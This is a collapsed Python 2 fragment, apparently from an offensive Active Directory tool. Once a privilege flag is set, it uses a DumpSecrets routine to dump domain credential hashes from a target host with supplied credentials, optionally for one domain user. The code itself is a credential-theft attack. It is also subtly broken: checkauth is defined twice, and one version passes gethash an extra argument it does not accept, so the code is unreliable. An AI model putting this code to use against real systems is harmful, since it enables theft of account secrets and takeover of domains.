def gethash(passargs): remoteName = passargs.target_host username = passargs.user password = passargs.password domain = passargs.domain execmethod = passargs.exec_method if passargs.just_dc_user: dcuser = passargs.just_dc_user else: dcuser = None getpriv = config.get_priv() while True: if getpriv == True: dumper = DumpSecrets(remoteName, username, password, domain, execmethod, dcuser) try: check = dumper.dump() break except Exception, e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(e) else: getpriv = config.get_priv()
def checkauth(passargs): getpriv = config.get_priv() logging.info("Checking privs...") while True: if getpriv == True: gethash(passargs) break else: getpriv = config.get_priv() tmp = time.time() - start if tmp > passargs.timeout: logging.error("Time Out. exiting...") break
def checkauth(passargs): getpriv = config.get_priv() backuser = config.get_user() logging.info("Checking privs...") logging.info("We have user => {}".format(backuser)) while True: if getpriv == True: gethash(passargs, backuser) break else: getpriv = config.get_priv() tmp = time.time() - start if tmp > passargs.timeout: logging.error("Time Out. exiting...") break